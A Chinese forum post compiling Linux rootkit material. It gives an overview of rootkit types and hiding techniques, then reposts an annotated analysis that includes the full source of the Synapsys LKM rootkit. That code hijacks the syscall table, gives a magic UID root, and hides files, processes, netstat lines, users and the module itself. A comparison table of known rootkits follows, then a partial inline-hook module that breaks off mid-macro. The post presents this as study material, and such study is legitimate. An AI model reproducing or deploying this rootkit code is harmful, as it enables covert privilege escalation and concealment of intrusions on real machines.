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发表于 2017-08-11 15:48:51 | 查看: 294 | 回复: 0
rootkit的主要分类:

应用级->内核级->硬件级

早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或修改.rhosts等系统配置文件等实现隐藏及后门;硬件级rootkit主要指bios rootkit,可以在系统加载前获得控制权,通过向磁盘中写入文件,再由引导程序加载该文件重新获得控制权,也可以采用虚拟机技术,使整个操作系统运行在rootkit掌握之中;目前最常见的rootkit是内核级rootkit。

内核级rootkit又可分为lkm rootkit、非lkm rootkit。lkm rootkit主要基于lkm技术,通过系统提供的接口加载到内核空间,成为内核的一部分,进而通过hook系统调用等技术实现隐藏、后门功能。非lkm rootkit主要是指在系统不支持lkm机制时修改内核的一种方法,主要通过/dev/mem、/dev/kmem设备直接操作内存,从而对内核进行修改。

非lkm rootkit要实现对内核的修改,首先需要获得内核空间的内存,因此需要调用kmalloc分配内存,而kmalloc是内核空间的调用,无法在用户空间直接调用该函数,因此想到了通过int 0x80调用该函数的方法。先选择一个不常见的系统调用号,在sys_call_table中找到该项,通过写/dev/mem直接将其修改为 kmalloc函数的地址,这样当我们在用户空间调用该系统调用时,就能通过int 0x80进入内核空间,执行kmalloc函数分配内存,并将分配好的内存地址由eax寄存器返回,从而我们得到了一块属于内核地址空间的内存,接着将要 hack的函数写入该内存,并再次修改系统调用表,就能实现hook系统调用的功能。

rootkit的常见功能:

隐藏文件:通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录,还有对ext2文件系统直接进行修改的方法,不过实现起来不够方便,也有一些具体的限制。

隐藏进程:隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。

隐藏连接:netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。

隐藏模块:lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。

嗅探工具:嗅探工具可以通过libpcap库直接访问链路层,截获数据包,也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式。

密码记录:密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。

日志擦除:传统的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。

内核后门:可以是本地的提权后门和网络的监听后门,本地的提权可以通过对内核模块发送定制命令实现,网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程。

rootkit的主要技术:

lkm注射、模块摘除、拦截中断(0x80、0x01)、劫持系统调用、运行时补丁、inline hook、端口反弹……

lkm注射:也是一种隐藏内核模块的方法,通过感染系统的lkm,在不影响原有功能的情况下将rootkit模块链接到系统lkm中,在模块运行时获得控制权,初始化后调用系统lkm的初始化函数,lkm注射涉及到elf文件格式与模块加载机制。

模块摘除:主要是指将模块从模块链表中摘除从而隐藏模块的方法,最新加载的模块总是在模块链表的表头,因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除,再退出清除模块,新版本内核中也可以通过判断模块信息后直接list_del。

拦截中断:主要通过sidt指令获得中断调用表的地址,进而获取中断处理程序的入口地址,修改对应的中断处理程序,如int 0x80,int 0x1等。其中拦截int 0x1是较新的技术,主要利用系统的调试机制,通过设置DR寄存器在要拦截的内存地址上下断点,从而在执行到指定指令时转入0x1中断的处理程序,通过修改0x1中断的处理程序即可实现想要的功能。

劫持系统调用:和拦截中断类似,但主要是对系统调用表进行修改,可以直接替换原系统调用表,也可以修改系统调用表的入口地址。在2.4内核之前,内核的系统调用表地址是导出的,因此可以直接对其进行修改。但在2.6内核之后,系统调用表的地址已经不再导出,需要对0x80中断处理程序进行分析从而获取系统调用表的地址。

运行时补丁:字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作,文件系统也是如此,通过修改文件系统的file_operations结构,可以实现新的read、write操作等。

inline hook:主要是指对内存中的内核函数直接修改,而不影响原先的功能,可以采用跳转的办法,也可以修改对下层函数的call offset实现。

端口反弹:主要是为了更好的突破防火墙的限制,可以在客户端上监听80端口,而在服务器端通过对客户端的80端口进行回连,伪装成一个访问web服务的正常进程从而突破防火墙的限制。


附:Rootkit on Linux x86 v2.6.pdf: http://download.csdn.net/detail/lucien_cc/4284660



熬夜写llroot,写的头有些晕了,代码也有点乱,所以停下来歇歇;就又去逆向昨天下的那个rootkit,搞了1个多小时,头又晕了,才搞了不到一半,夜深人静的时候,孤孤单单,没有美女陪,不爽啊.想想好长时间没有在这个blog上写技术文章了,于是就转来下面一篇文章,文章比较老了,针对linux2.2内核的,但是基本的思路是没有失效的.正好这学期的操作系统课程考试也打算让研究生写一些类似的程序,所以贴在这里,也可以给他们参考下.等我今年把现在的事情忙完,把计划中的那几个开发板做出来后,明年要回头认真写个linux下的rootkit玩玩.


前言
----------
    这个rootkit应该都不陌生,功能相对很强大,也是lkm实现的rootkit的典型,通过对他代码的实际分析可以看出利用linux的lkm我们可以做很多很多有趣的木马程序。
    就象Berserker本人对这个rootkit的解释一样,它截获open,getuid,kill,fork,clone,write,
query_module,getdents等系统调用,来实现针对特殊uid的root权限授予,隐藏自身文件,隐藏进程及其子进程和派生进程,隐藏netstat,finger,who等命令的输出,隐藏modules,呵呵。
    本文要求你最好具有基本的lkm内核编程知识,截获系统调用我不多说了,至于怎么从用户区来获得参数,以及如何在内核空间为用户区分配内存的问题,我这里简单介绍一下,因为它是lkm可以作为hacking kernel的关键。

我们如何从用户区取得参数
--------------------------
在《linux可装载内核完全指南》这篇文章中定义了几个实现方法,我这里重复一下,我自己也介绍一种可行的方法。
好,我们来看看这个函数的定义:
char *strncpy_fromfs(char *dest,const char *src,int n)
{
     char *tmp=src;
     int compt=0;

     while((dest[compt-1]!='\0')&&(compt!=n));
     do {
     dest[compt++]=_get_user(tmp++,1);
     }

     return dest;
}
这是一个经典例程,函数返回用户区的字符串指针,关键是我们利用了get_user(...)这个核心函数,它的作用可以用来将数据从用户态移到内核空间,同样道理我们可以用mencpy_fromfs(char *dest,const char *src,int n)来移动数据。

好,再给出第二个方法,copy_from_user(...),很简单,函数返回用户区数据指针,我们看一下核心代码给出的函数原型:
static inline unsigned long
__generic_copy_from_user_nocheck(void *to, const void *from, unsigned long n)
{
    __copy_user_zeroing(to,from,n);
    return n;
}
这种也就是synapsys.c里面用的方法。

我们如何在内核空间为用户函数分配内存空间
--------------------------------------------
这个问题我解释一下,还是相对于上面来说,我们依然用这个函数:mencpy_tofs(void *to,const void *from,unsigned long count);但是我们如何在内核分配内存给*to呢?我们通过brk调用于current->mm->brk来增加未使用的数据段大小。我们给current进程分配内存空间,用来拷贝内核空间到用户模式。需要用到的brk调用就需要我们自己构建了,很简单,参看核心代码:
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
    return (type) __res; \
errno = -__res; \
return -1; \
}
另外一种方法就是利用get_ds来获取用户数据段寄存器,然后把内核用来指向用户段的段选器设成需要的ds值就可以了,我们用set_fs(get_ds)来做到,具体这两个调用的实现参看核心代码。

第三种方式就是synapsys.c中所用到的利用copy_to_user(...),前面已有所介绍,就不多说了。

分析synapsys.c源代码
-------------------------
/*********************************************************************************************************************
*  Synapsys-lkm version 0.4
*
* coded by Berserker for Neural Collapse Crew  [www.neural-collapse.org]
*
*  for questions, suggestions, bug report ---->  berserker.ncl@infinito.it            
*
* 描述 : Synapsys 是一个针对linux内核版本为2.2.x的lkm的rootkit. 实现文件和目录的隐藏 , 进程隐藏
* (包括子进程和派生进程), 隐藏netstat输出 (定义 port和host/ip/port/protocol变量), 以root特权来
* 定义uid, 用户隐藏(finger/who/w), 模块本身的隐藏. 加载模块之后,你可以完全控制open()系统调用;
* 可以任意激活/卸载, 可以改变隐藏文件的前缀, 在netstat输出里面屏蔽行信息以及隐藏用户列表。
*
*
*  Saluti e Ringraziamenti : norby , anyone, beholder, mandarine, asfalto, jerusalem  
*
* 编译方法: gcc -c -O3 -fomit-frame-pointer Synapsys.c
*
*********************************************************************************************************************/
#define MODULE
#define __KERNEL__

#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include <linux/modversions.h>
#endif


#include <linux/module.h>
#include <linux/mm.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/if.h>
#include <linux/smp_lock.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>
#include <malloc.h>




char *magicword         = "traboz";               /* 通过open调用来控制lkm的关键字 */
char file2hide[20]      = "NCL_ph1l3";            /* 要隐藏的文件名包含的关键字 */
char hiddenuser[20]     = "Ncl";                  /* 在finger/who/w等命令的输出里隐藏的user值 */
char netstatstuff[20]   = "host_or_ip_or_port";   /* 要隐藏的netstat命令的输出行 */


#define HIDDEN_PORT "3012"         /* 定义端口号为*3012* */
#define PF_INVISIBLE 0x00002000
#define SIGNAL_INVISIBLE 32        /* 定义为隐藏进程发送的信号量 */
#define MAGIC_UID 666              /*定义MAGIC_UID值*/
#define LKM_NAME "Synapsys"        /*定义lkm程序的程序名,不多说了:)*/
#define M_UID_FUNC     "muid"     /* 定义为MAGIC_UID激活/卸载root特权的开关字(不知道这样解释是否理解,西西)*/
#define GETDENTS_FUNC  "hidf"     /* 定义激活/卸载隐藏文件及进程的开关字 */
#define UNINST_LKM     "unin"     /* 卸载moudle*/
#define NETSTAT_FUNC   "hidn"     /* 定义激活/卸除netstat命令输出的开关字 */
#define FINGER_FUNC    "hidu"     /* 定义激活/卸除用户信息的开关字 */
#define HIDELKM_FUNC   "hidm"     /* 定义激活/卸除lkm本身隐藏的开关字 */
#define BE_VERBOSE_CMD "verbose"  /*捕捉每个关键的变量值*/

int uid_func  = 1;             /* 1代表激活状态,0代表非激活(卸除)状态,缺省是全部激活状态*/
int hidf_func = 1;
int nets_func = 1;
int hidu_func = 1;
int hidm_func = 1;

extern void* sys_call_table[];/*导出系统调用表*/

asmlinkage int (*real_open)(const char *, int  ,int );/*定义open调用*/
asmlinkage int (*real_getuid)();     /*定义getuid调用*/
asmlinkage int (*real_getdents)(unsigned int, struct dirent *,unsigned int);/*定义getdents调用*/
asmlinkage int (*real_kill)(int, int);  /*定义kill调用*/
asmlinkage int (*real_fork)(struct pt_regs);/*定义fork调用*/
asmlinkage int (*real_clone)(struct pt_regs);
asmlinkage int (*real_write)(unsigned int , char *, unsigned int);
asmlinkage int (*real_query_module)(const char *, int, char *, size_t, size_t *);

asmlinkage void cleanup_module(void);
/*我们要替换的open调用*/
asmlinkage int hack_open(const char *pathname, int flag, int mod) {
/*这个asmlinkage定义,我费了很大的心思理解,后来在核心代码的socket.c中找到了,是一个内联函数,
主要是gcc在编译的时候连接asm代码*/
  char *k_pathname;
  char *x,*cmd,*tmp,*arg;
  int i = 0;
  k_pathname = (char*) kmalloc(256, GFP_KERNEL);

  copy_from_user(k_pathname, pathname, 255);/*从用户区得到pathname值到内核空间*/
  x = strstr(k_pathname, magicword);    /*检查pathname里面有没有我们想要隐藏的东东*/
  if ( x ) {
    tmp = &x[strlen(magicword)];
    if (strlen(tmp) >= 4) {
      if (strlen(tmp) > 4)
      arg = &tmp[4];
      else arg = 0;
      cmd = strncpy(cmd, tmp, 4);
      cmd[4] = '\0';
      if (strcmp(cmd,M_UID_FUNC) == 0) {      
    if (arg == 0) {
          if (uid_func == 1) uid_func--;
          else uid_func++;
    }  
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)      
      printk("the value of uid_func is : %d\n",uid_func);
      }
      else if (strcmp(cmd,GETDENTS_FUNC) == 0) {        /*确定隐藏文件本身的目录列表显示*/
        if (arg == 0) {
          if (hidf_func) hidf_func--;
          else hidf_func++;
    }
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
      printk("the value of hidf_func is : %d the hidden files prefix is : %s\n  ",hidf_func,file2hide);
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
      memset(file2hide,0,sizeof(file2hide));
      strncpy(file2hide,arg,strlen(arg));
    }
      }
      else if (strcmp(cmd,NETSTAT_FUNC) == 0) {   /*确定隐藏netstat的输出行*/
    if (arg == 0) {
          if (nets_func == 1) nets_func--;
          else nets_func++;
    }
    else if(strcmp(arg,BE_VERBOSE_CMD) == 0) {
      printk("the value of nets_func is : %d the hidden port is: %s are hidden lines that contains %s too\n"
         ,nets_func, HIDDEN_PORT, netstatstuff );
    }
    else if (strcmp(arg,BE_VERBOSE_CMD) != 0) {
      memset(netstatstuff,0,sizeof(netstatstuff));
      strncpy(netstatstuff,arg,strlen(arg));
    }
      }
      else if(strcmp(cmd,FINGER_FUNC) == 0) {  /*确定隐藏finger输出*/
    if (arg == 0) {
          if (hidu_func == 1) hidu_func--;
          else hidu_func++;
        }
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
      printk("the value of hidu_func is : %d the hidden user is %s\n", hidu_func, hiddenuser);
    else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
      memset(hiddenuser,0,sizeof(hiddenuser));
      strncpy(hiddenuser,arg,strlen(arg));
    }
      }
      else if(strcmp(cmd,HIDELKM_FUNC) == 0) {   /*确定隐藏自身模块*/
    if (arg == 0) {
      if (hidm_func == 1) hidm_func--;
      else hidm_func++;
    }
    else if (arg != 0&& strcmp(arg,BE_VERBOSE_CMD) == 0)
      printk("the value of hidm_func is : %d the module name hidden is : %s\n",hidm_func, LKM_NAME);
      }

      else if (!strcmp(cmd,UNINST_LKM)) {
    printk("unistalling %s\n",LKM_NAME);
    cleanup_module();
      }
      
    }
    kfree(k_pathname);                         /*释放内核内存空间*/
    return (real_open(pathname, flag, mod));
  }

  else {
    kfree(k_pathname);
    return(real_open(pathname, flag, mod));
  }
}
/*开始截获调用!*/
asmlinkage int hack_getuid() {    /*截获getuid调用*/
  int a;

    if(uid_func == 1 && current->uid == MAGIC_UID ) {

      current->uid = 0;
      current->euid = 0;
      current->gid = 0;
      current->egid = 0;
      return 0;

    }
/*解释一下,怎么来截获呢?我大概讲一下,主要大家还是要看一下lkm的实现原理,
接获这个调用的意思是:当指向当前进程的指针current->uid为我们前面所确定的
MAGIC_UID的值的时候,也就是我们以这个MAGIC_UID登陆系统的是后,使当前进程的
uid,euid,gid,egid都为0,应该知道这意味这什么吧?西西*/
    a = real_getuid();
    return a;             /*用回真实的getuid调用*/

}
asmlinkage int my_atoi (char *str) {
  int ret = 0;
  int i;
  for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
    ret = 10 * ret + str[i] - '0';
  return ret;
}
/*该隐藏我们进程的任务列表结构啦*/
asmlinkage inline char *task_name(struct task_struct *p, char *buf) {
  int i;
  char *name;
  name = p->comm;
  i=sizeof(p->comm);
  do {
    unsigned char c = *name;
    name++;
    i--;
    *buf = c;
    if (!c)
      break;
    if (c == '\\') {
      buf[1] = c;
      buf += 2;
      continue;
    }
    if (c == '\n') {
      buf[0] = '\\';
      buf[1] = 'n';
      buf += 2;
      continue;
    }
    buf++;
  }
  while(i);
  *buf = '\n';
  return buf + 1;
}
/*取得pid*/
struct task_struct *get_task(pid_t pid) {
  struct task_struct *p = current;
  do {
    if (p->pid == pid) return p;
    p = p->next_task;
  }
  while (p != current);
  return NULL;
}
/*隐藏pid!*/
asmlinkage int is_invisible(pid_t pid) {

  struct task_struct *task = get_task(pid);
  if (task == NULL) return 0;
  if (task->flags & PF_INVISIBLE) return 1;
  return 0;
}
/*截获kill调用,当调用kill来发信号给我们uid或euid时,就返回一个没有该进程的信息*/
asmlinkage int hack_kill(pid_t pid, int sig) {

struct task_struct *task = get_task(pid);

if(task  == NULL)
   return(-ESRCH);

else if(current->uid && current->euid)
   return(-EPERM);


else if (sig == SIGNAL_INVISIBLE) {
    task->flags |= PF_INVISIBLE;
  }
else {
    return (*real_kill)(pid, sig);
}

}
/*截获fork调用,隐藏派生的子进程*/
asmlinkage int hack_fork(struct pt_regs regs) {

  struct task_struct *task;
  pid_t pid;
  int h = 0;

  pid = real_fork(regs);
  task = get_task(pid);

  if (is_invisible(current->pid))
    h++;
  if (h && pid >= 0) {

    if (task == NULL)
      return -ESRCH;
    if (pid <= 1)
      return -1;

    task->flags |= PF_INVISIBLE;
  }
  return pid ;
}

asmlinkage int hack_clone(struct pt_regs regs) {

  struct task_struct *task;
  pid_t pid;
  int h = 0;

  pid = real_clone(regs);
  task = get_task(pid);

  if (is_invisible(current->pid))
    h++;
  if (h && pid >= 0) {

    if (task == NULL)
      return -ESRCH;
    if (pid <= 1)
      return -1;

    task->flags |= PF_INVISIBLE;
  }
  return pid ;
}
/*呵呵,开始隐藏我们的文件,接获getdents调用。这个截获很基础,就不多做注释了*/
asmlinkage int hack_getdents( unsigned int fd, struct dirent *dirp, unsigned int count) {

  unsigned int getdret,n;
  int x , proc = 0;
  struct inode *dinode;
  struct dirent *dirp2, *dirp3;
  char *hiddenfile = file2hide;  /*定义我们要隐藏的文件名*/

  getdret = (*real_getdents)(fd,dirp,count);
/*定义目录节点*/
#ifdef __LINUX_DCACHE_H
  dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
  dinode = current->files->fd[fd]->f_inode;
#endif

   if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
       MINOR(dinode->i_dev) == 1) proc++;

   if (getdret > 0 ) {

     dirp2 = (struct dirent *) kmalloc(getdret, GFP_KERNEL);
     copy_from_user(dirp2, dirp, getdret);/*获取用户区参数*/
     dirp3 = dirp2;
     x = getdret ;

     while (x > 0) {

       n = dirp3->d_reclen;
       x -= n;

       if (((strstr ((dirp3->d_name), hiddenfile) != NULL ||
         (proc && is_invisible(my_atoi(dirp3->d_name))))  && hidf_func )) {

     if (x != 0)
       memmove (dirp3, (char *) dirp3 + dirp3->d_reclen, x);
         else
       dirp3->d_off = 1024;
         getdret -= n;
       }
       if(dirp3->d_reclen == 0) {
     getdret -= x;
     x = 0;
       }
       if ( x != 0)
     dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
     }
     copy_to_user(dirp, dirp2, getdret);
     kfree(dirp2);
   }
   return getdret;
}
/*截获write调用*/
asmlinkage int hack_write(unsigned int fd, char *buf,unsigned int count) {

  char *k_buf;
  char *user = hiddenuser;
  char *whtvr = netstatstuff;
  
  
  if (strcmp(current->comm,"netstat" ) != 0 && strcmp(current->comm, "finger") != 0 && strcmp(current->comm, "w") != 0 && strcmp(current->comm, "who") )
    return real_write(fd, buf, count);
  


  if ((strcmp(current->comm, "netstat") == 0) && nets_func) {
    k_buf = (char *) kmalloc(2000, GFP_KERNEL);
    memset(k_buf,0,2000);
    copy_from_user (k_buf, buf, 1999);
    if (strstr(k_buf,HIDDEN_PORT) || strstr(k_buf,whtvr) ) {/*检查是否是有我们要隐藏的netstat行*/
      kfree(k_buf);
      return count;
    }
    kfree(k_buf);
  }

  if ((strcmp(current->comm, "finger") == 0 || strcmp(current->comm, "w") || strcmp(current->comm, "who")) && hidu_func) {
    k_buf = (char *) kmalloc(2000, GFP_KERNEL);/*在内核分配内存空间*/
    memset(k_buf,0,2000);
    copy_from_user (k_buf, buf, 1999); /*从用户区获得参数*/
    if (strstr(k_buf,user)) {  /*从finger输出找出我们的用户标示*/      
      kfree(k_buf);
      return count;
    }
    kfree(k_buf);
  }
  return real_write(fd, buf,count);

}
/*截获query_module调用来隐藏模块自身*/
asmlinkage int hack_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) {

  int r, a;
  char *ptr, *match;

  r = real_query_module(name, which, buf, bufsize, ret);

  if (r == -1)
    return -ENOENT;
  if (which != QM_MODULES)
    return r;

  ptr = buf;

  for (a = 0; a < *ret; a++) {
    if (!strcmp(LKM_NAME, ptr) && hidm_func) {
      match = ptr;
      while (*ptr)
    ptr++;
      ptr++;
      memcpy(match, ptr, bufsize -(ptr -(char *)buf));
      (*ret)--;
      return r;
    }
    while (*ptr)
      ptr++;
    ptr++;
  }
  return r;
}

/*开始加载我们的内核模块!*/
int init_module(void){

  real_open=sys_call_table[SYS_open];/*保存原open调用*/
  sys_call_table[SYS_open]=hack_open;/*截获!*/

  real_getuid=sys_call_table[SYS_getuid];/*保存原getuid调用*/
  sys_call_table[SYS_getuid]=hack_getuid;/*截获*/

  real_getdents=sys_call_table[SYS_getdents];/*保存原getdents调用*/
  sys_call_table[SYS_getdents]=hack_getdents;/*截获!*/

  real_kill=sys_call_table[SYS_kill];/*保存原kill调用*/
  sys_call_table[SYS_kill]=hack_kill;/*截获!*/

  real_fork=sys_call_table[SYS_fork];/*保存原fork调用*/
  sys_call_table[SYS_fork]=hack_fork;/*截获!*/

  real_clone=sys_call_table[SYS_clone];/*保存原clone调用*/
  sys_call_table[SYS_clone]=hack_clone;/*截获*/

  real_write=sys_call_table[SYS_write];/*保存write调用*/
  sys_call_table[SYS_write]=hack_write;/*截获*/

  real_query_module=sys_call_table[SYS_query_module];/*保存原query_module调用*/
  sys_call_table[SYS_query_module]=hack_query_module;/*截获*/

  return 0;  


}
void cleanup_module(void){                    /*卸载*/

  sys_call_table[SYS_open]=real_open;
  sys_call_table[SYS_getuid]=real_getuid;
  sys_call_table[SYS_getdents]=real_getdents;
  sys_call_table[SYS_kill]=real_kill;
  sys_call_table[SYS_fork]=real_fork;
  sys_call_table[SYS_clone]=real_clone;
  sys_call_table[SYS_write]=real_write;
  sys_call_table[SYS_query_module]=real_query_module;

}



个人工作之余的实践总结,简单地把RootKit分为用户态rootkit和内核级rootkit。内核级rootkit可分基于LKM 的rootkit(又细分为系统调用表修改类以及VFS层rootkit等)和非LKM的rootkit(如系统调用表重定向等)。Linux下还有BIOS、PCI、Boot(NTLDR、BCD,Grub)等更新颖技术的rootkit暂时不提供样本,同时如前面所说的,完全是个人的分析总结,不足之处欢迎指导交流!

 

\

下面用图表格来分析对比。

 

序号
典型代表
控制方式
适用内核版本
隐藏/反检测特点
备注
1
lrk5
主动连接
2.6.X
替换用户态ls,ps,netstat等。
第一代用户态RootKit,代码较多;安装简洁,容易上手。
2
knark-0.59
主动连接
2.2.x
Knark0.59具有以下特性:
1、隐藏或显示文件或目录;
2、隐藏进程;
3、隐藏TCP或UDP连接;
4、程序执行重定向;
5、改变一个运行进程的UID/GID的工具;
6、非授权地、特权程序远程执行守护进程。
Linux 2.2内核下功能强大的LKM(Loadable Kernel Modules) rootkit。调用表修改类 rootkit通过修改导出的系统调用表,对与攻击行为相关的系统调用进行替换,隐藏攻击者的行踪。
3
sk-1.3b
主动连接,反向连接
2.2.x, 2.4.x
1:sk 后门服务端程序为静态ELF文件,压缩之后就几十K的大小;
2:通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门,端口复用;
3:sk采用动态隐藏的方式来隐藏指定的内容,包括文件,进程,网 络连接;
4:sk2可以感染系统的elf文件达到自启动的目的,也可以通过替换系统的init文件来实现自动启动。
全称suckit(super user control kit);运行于Linux 2.4内核下最经典的非LKM层 rootkit。并没有修改系统调用跳转表的内容,而是首先拷贝了系统调用表,然后将拷贝的系统调用表按照入侵者的意图进行修改,执行入侵者改写的系统调用响应函数。然后将system_call从旧的系统调用表上移开,指向新的系统调用表。
4
adore-ng-056-wztfix
主动连接,反向连接
2.4.X—2.6.X
1:adore-ng稳定性较好;
2:adore-ng后门服务端程序具体环境动态编译;
3:须使用客户端手动的去隐藏指定的进程、网络和文件;
4:adore-ng可以可以通过插入或者替换系统模块来实现自动启动。
Linux 2.4-2.6经典的LKM;VFS层 rootkit 并不修改系统调用层的内容,而是通过修改 VFS层的具体处理函数,如替换 VFS 层的 file_ops 等函数,来实现信息隐藏目的。
5
WNPS
主动连接,反向连接
2.6.X
1、隐藏:
隐藏指定文件
隐藏文件中特定的内容
隐藏进程
动态隐藏网络连接、进程
隐藏自身模块
保护相关模块、进程、文件不被跟踪
2、内核反弹后门,以设置定时自动回连;
3、跨内核平台简易安装,附带一个wnps.ko就可以管理所有2.6内核的机器;
4、伪终端支持,键盘记录功能;
5、比adore-ng更稳定的模块注射方式;
6、通讯加密
adore-ng加强版,加密通信,2.6内核通用,隐蔽性更高。
6
Ddrk
主动连接
2.6.X
1、隐藏性好:
隐藏进程
隐藏网络连接
隐藏自身模块
2、反chkrootkit,rkhunter等。
是一个Linux结合sk和adore-ng优点,内核态+用户态+内核态的rootkit。

 





通过hook Linux内核函数,监控进程/线程创建与销毁


还是实验室蛋疼项目的需求催出来的东西,蛋疼要死,CS专业读研难道就等于干2-3年义工??本人对Linux内核无爱,好吗!!!

Linux实际上木有线程这玩意,具体到内核里面就是个进程组头+一堆轻量级进程

太感谢Linus了,工作量瞬间下来了,在内核线程/进程无差别的,写一套东西就忽悠交差说是两套都做了,反正那帮子人也不懂。。。。

所有的进程创建都是通过do_fork()内核函数来做的,所有进程销毁都是走do_exit(),系统调用什么的都是这两个函数的封装而已

比如下面,和创建进程/线程相关的系统调用的处理函数。。。

[cpp] view plain copy
 在CODE上查看代码片派生到我的代码片
  1. asmlinkage int sys_fork(struct pt_regs regs)  
  2. {  
  3.     return do_fork(SIGCHLD, regs.esp, ®s, 0, NULL, NULL);  
  4. }  
  5.   
  6. asmlinkage int sys_clone(struct pt_regs regs)  
  7. {  
  8.     unsigned long clone_flags;  
  9.     unsigned long newsp;  
  10.     int __user *parent_tidptr, *child_tidptr;  
  11.   
  12.     clone_flags = regs.ebx;  
  13.     newsp = regs.ecx;  
  14.     parent_tidptr = (int __user *)regs.edx;  
  15.     child_tidptr = (int __user *)regs.edi;  
  16.     if (!newsp)  
  17.         newsp = regs.esp;  
  18.     return do_fork(clone_flags, newsp, ®s, 0, parent_tidptr, child_tidptr);  
  19. }  
  20.   
  21. /* 
  22.  * This is trivial, and on the face of it looks like it 
  23.  * could equally well be done in user mode. 
  24.  * 
  25.  * Not so, for quite unobvious reasons - register pressure. 
  26.  * In user mode vfork() cannot have a stack frame, and if 
  27.  * done by calling the "clone()" system call directly, you 
  28.  * do not have enough call-clobbered registers to hold all 
  29.  * the information you need. 
  30.  */  
  31. asmlinkage int sys_vfork(struct pt_regs regs)  
  32. {  
  33.     return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.esp, ®s, 0, NULL, NULL);  
  34. }  

hook了这两个函数就能监控全部的创建销毁了,,

关于怎么hook,在飞客杂志上找到几篇inline hook,都是修改被hook函数入口处的汇编,插入JMP到自己代码再跑完再手动平衡堆栈JMP回去,累不累额,,,

然后看到这个Ph4nt0m Security Team小组的文章http://blog.csdn.net/lucien_cc/article/details/7544834

真可惜,这个小组现在的主站已经不能访问了,还好在Google Sites里面还能找到小组以前的文章

http://www.80vul.com/ 貌似是新站

OK,回来,文章提到不改动入口,而是修改被hook函数的里面调用下层函数的call,貌似实现简单的多啦。。。

看看do_fork 和 do_exit 的代码

[cpp] view plain copy
 在CODE上查看代码片派生到我的代码片
  1. fastcall NORET_TYPE void do_exit(long code)  
  2. {  
  3.     struct task_struct *tsk = current;  
  4.     struct taskstats *tidstats;  
  5.     int group_dead;  
  6.     unsigned int mycpu;  
  7.   
  8.     profile_task_exit(tsk);  
  9.   
  10.     WARN_ON(atomic_read(&tsk->fs_excl));  
  11.   
  12.     ...  
  13. }//任何进程进入这个函数就是死定了,上下文到这里就没有了  
  14.   
  15. long do_fork(unsigned long clone_flags,  
  16.     ...  
  17. {  
  18.     struct task_struct *p;  
  19.     int trace = 0;  
  20.     struct pid *pid = alloc_pid();  
  21.   
  22.     ...  
  23.   
  24.     p = copy_process(clone_flags, stack_start, regs, stack_size, parent_tidptr, child_tidptr, nr);  
  25.   
  26.     if (!IS_ERR(p)) {  
  27.   
  28.         ...  
  29.   
  30.     } else {  
  31.         free_pid(pid);  
  32.         nr = PTR_ERR(p);  
  33.     }  
  34.     return nr;  
  35. }  

代码很明白了do_exit会调用到profile_task_exit,并且进程是必死的。。。

do_fork会调用copy_process复制进程,如果copy_process成功,进程就创建成功了,最后把PID值返回回去

SO,只需要把这两次函数调用的call语句修改了就能监控全部的创建与销毁了。

最后实现代码如下:

[cpp] view plain copy
 在CODE上查看代码片派生到我的代码片
  1. #include <linux/kernel.h>  
  2. #include <linux/module.h>  
  3. #include <linux/err.h>  
  4. #include <linux/smp_lock.h>  
  5.   
  6. MODULE_LICENSE("GPL");  
  7.   
  8. #define _FORK_copy_process 0xc04234f9  
  9. #define _EXIT_profile_task_exit 0xc04268cf  
  10. #define _DO_EXIT_ 0xc0427ec1  
  11. #define _DO_FORK_ 0xc0424944 //从 /boot/System.map-$(uname -r) 能找到这些地址  
  12.   
  13. //CR0的宏,网上扒的  
  14. #define CLEAR_CR0    asm ("pushl %eax\n\t"             \  
  15. "movl %cr0, %eax\n\t"        \  
  16. "andl $0xfffeffff, %eax\n\t"     \  
  17. "movl %eax, %cr0\n\t"        \  
